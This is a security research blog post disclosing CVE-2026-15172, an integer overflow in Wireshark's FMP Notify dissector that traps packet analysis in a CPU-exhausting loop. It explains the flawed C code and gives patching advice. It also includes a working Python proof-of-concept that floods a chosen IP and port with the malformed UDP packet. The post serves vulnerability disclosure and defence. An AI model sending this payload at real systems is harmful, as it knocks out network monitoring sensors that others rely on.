> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# [EN] CVE-2026-15172: Integer Overflow in Wireshark's FMP Dissector
- URL: https://yokai.hakaisecurity.io/en-cve-2026-15172-integer-overflow-in-wiresharks-fmp-dissector/
- Published: 2026-11-12T20:04:40.000Z
- Updated: 2026-11-12T20:15:03.000Z
- Author: Gabriel Rodrigues
- Tags: en, Research Blog, #pair-wir

The **Yokai research team, from Hakai Offensive Security**, identified a **Denial of Service (DoS)** vulnerability in [Wireshark/TShark](https://gitlab.com/wireshark/wireshark/-/commit/f43b392897d3535254b69ddcb4188dc3e326924d?ref=yokai.hakaisecurity.io), registered under the identifier [**CVE-2026-15172**](https://www.wireshark.org/security/wnpa-sec-2026-54.html?ref=yokai.hakaisecurity.io).

The vulnerability is caused by an **Integer Overflow** in the *dissector* responsible for processing the **FMP Notify** protocol. Exploitation of this flaw can cause the packet analysis process to terminate unexpectedly, compromising the availability of the tool.

The attacker sends a network packet with a deliberately malformed number. This confuses Wireshark's calculations when determining which piece of information it should read next. The program gets stuck in the same position, repeatedly attempting to read the same data. This creates a loop that consumes processor resources and brings down network monitoring.

## Overview

Network protocol parsers are designed to process untrusted data, since the information being interpreted comes directly from received packets. Wireshark's *core* supports more than 3,000 protocols, many of which use numerical values declared within the packets themselves to control internal operations, such as iterations and data reading.

In the context of the FMP protocol, the `packet-fmp_notify.c` file is responsible for processing the `revokeHandleList` procedure, which iterates through a list of identifiers received over the network. During this operation, both the iteration limit and the size of the data blocks to be read are determined by values controlled by the packet content. However, these values are used in arithmetic operations without prior proper bounds checking, creating conditions for an *Integer Overflow* and compromising the dissector's execution flow.

## Vulnerability Analysis

The vulnerability is located in the `dissect_handleList()` function, which is responsible for processing the list identifiers. More specifically, the flaw occurs in the control of the read index advancement in memory, whose calculation uses values obtained from the network packet without proper validation. This condition allows manipulated values to trigger an *Integer Overflow*, compromising the read flow control and potentially leading to unexpected dissector behavior.

```
static int
dissect_handleList(tvbuff_t *tvb, int offset, packet_info *pinfo,
                   proto_tree *tree)
{
    int     numHandles;
    int     listLength;  
    int     i;
    proto_tree *handleListTree;

    numHandles = tvb_get_ntohl(tvb, offset);  
    listLength = 4;

    for (i = 0; i < numHandles; i++) {
        listLength += (4 + tvb_get_ntohl(tvb, offset + listLength)); 
    }
    // ...
}

```

The code uses a `for` loop to iterate through the elements of the identifier list. At each iteration, the size of the next block is read directly from the packet and added to 4 to determine the read index advancement.

The problem lies in the `listLength` variable, which is declared as a signed integer (`signed int`), allowing it to store negative values. By providing the value `0xFFFFFFFC`, interpreted as `-4` in a 32-bit signed representation, the advancement operation results in:

`4 + (-4) = 0`

As a result, the read index remains unchanged, causing the dissector to repeatedly process the same data without advancing to the next position in the packet.

To maximize the impact of the flaw, the field responsible for defining the number of identifiers (`numHandles`) is set to the maximum value of a 32-bit signed integer (`0x7FFFFFFF`). As a result, Wireshark attempts to execute the loop more than 2 billion times while remaining at the same read position. This behavior causes a virtually endless loop, drastically increasing CPU consumption and leading to application unavailability.

![](https://yokai.hakaisecurity.io/content/images/2026/11/image-1.png)

The stalled read operation alone would not be enough if the loop terminated quickly. This is where the `numHandles` variable comes into play. By setting this field to the maximum positive integer value (`0x7FFFFFFF`), Wireshark assumes it needs to iterate billions of times. Since the read position does not advance with each cycle, the application enters a continuous loop that consumes CPU resources.

## Exploitation and Impact

To exploit the vulnerability, a specially crafted UDP packet was created for the FMP/NOTIFY protocol, invoking the `revokeHandleList` procedure and injecting a manipulated value into the field responsible for defining the size of the identifier list.

When processing the packet, the Wireshark dissector performs arithmetic operations using the supplied value, triggering the *Integer Overflow*. As a result, the analysis engine enters an infinite loop.

![](https://yokai.hakaisecurity.io/content/images/2026/11/image.png)

The following script was developed as a Proof of Concept (PoC) to demonstrate the exploitation of CVE-2026-15172\. Initially, it constructs a UDP packet containing a structured message for the FMP/NOTIFY protocol, invoking the `revokeHandleList` procedure. The packet includes specific fields to identify the procedure, along with manipulated values in the list length field and the data associated with the identifiers, including the value `0x7FFFFFFF`, which is used to trigger the *Integer Overflow* during packet processing. Finally, the script repeatedly transmits this packet to the IP address and port specified as arguments, using `127.0.0.1:111` as the default values.

``````
#!/usr/bin/env python3
import socket, struct, time, sys

payload = (
    struct.pack('>IIIIII', 0xDEADBEEF, 0, 2, 0x000F49B8, 2, 7) +
    struct.pack('>IIII', 0, 0, 0, 0) +
    struct.pack('>I', 4) + b'AAAA' +
    struct.pack('>II', 1, 0x7FFFFFFF) +
    struct.pack('>I', 0xFFFFFFFC) * 200
)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 111

while True:
    sock.sendto(payload, (target, port))
    time.sleep(0.1)
```

0:00 

/0:13 

1× 

Therefore, whether opening a PCAP file containing the malicious packet or receiving it during a live traffic capture, Wireshark begins processing the FMP/NOTIFY message and triggers the dissector responsible for the `revokeHandleList` procedure. During this stage, the manipulated values trigger the *Integer Overflow* in the `dissect_handleList()` function, causing the read index to be calculated incorrectly and preventing the processing from advancing properly. As a consequence, the dissector enters an infinite loop, causing excessive CPU consumption until the application becomes unresponsive or crashes, resulting in a **Denial of Service (DoS)** condition.

## **Impact**

The main thread responsible for packet processing begins consuming excessive amounts of CPU, compromising the application's responsiveness. For SOC defense and infrastructure teams, this scenario represents a significant risk, as network sensors that use the Wireshark engine may stop inspecting new packets, creating a blind spot in network monitoring and reducing visibility into potential malicious activities across the network.

## Conclusion

The flaw in the FMP Notify dissector enables a denial of service against tools based on the Wireshark engine through the transmission of a single specially crafted network packet. By manipulating the buffer advancement calculation through an *Integer Overflow*, an attacker can trigger an infinite loop during packet processing, continuously increasing CPU consumption and preventing the application from operating normally, without necessarily causing a segmentation fault.

The impact is not limited to opening malicious PCAP files, as it can also occur during live traffic capture and analysis. Consequently, monitoring tools and network sensors that rely on Wireshark/TShark may have their operations disrupted, compromising packet inspection and creating blind spots in infrastructure visibility. This scenario represents a significant risk for SOC and security operations teams, as the unavailability of these mechanisms can hinder the identification of and response to malicious network activities.

**It is recommended** that teams using Wireshark or TShark update their installations to a patched version, following the guidance published in the [official Wireshark security advisory](https://www.wireshark.org/security/wnpa-sec-2026-54.html?ref=yokai.hakaisecurity.io). It is also important to identify and update all tools, sensors, and monitoring services that use the Wireshark engine, ensuring that no instance remains vulnerable to CVE-2026-15172.

## References

- **Official GitLab Issue Tracker:** [Wireshark Work Item #21347 - FMP Notify dissector integer overflow](https://gitlab.com/wireshark/wireshark/-/work%5Fitems/21347?ref=yokai.hakaisecurity.io)
- **Vulnerable Source Code:** [packet-fmp\_notify.c (Lines 160-176)](https://gitlab.com/wireshark/wireshark/-/blob/master/epan/dissectors/packet-fmp%5Fnotify.c?ref=yokai.hakaisecurity.io#L160-L176)
- **Wireshark Display Filter Reference:** [FMP Protocol Fields and Documentation](https://www.wireshark.org/docs/dfref/f/fmp.html?ref=yokai.hakaisecurity.io)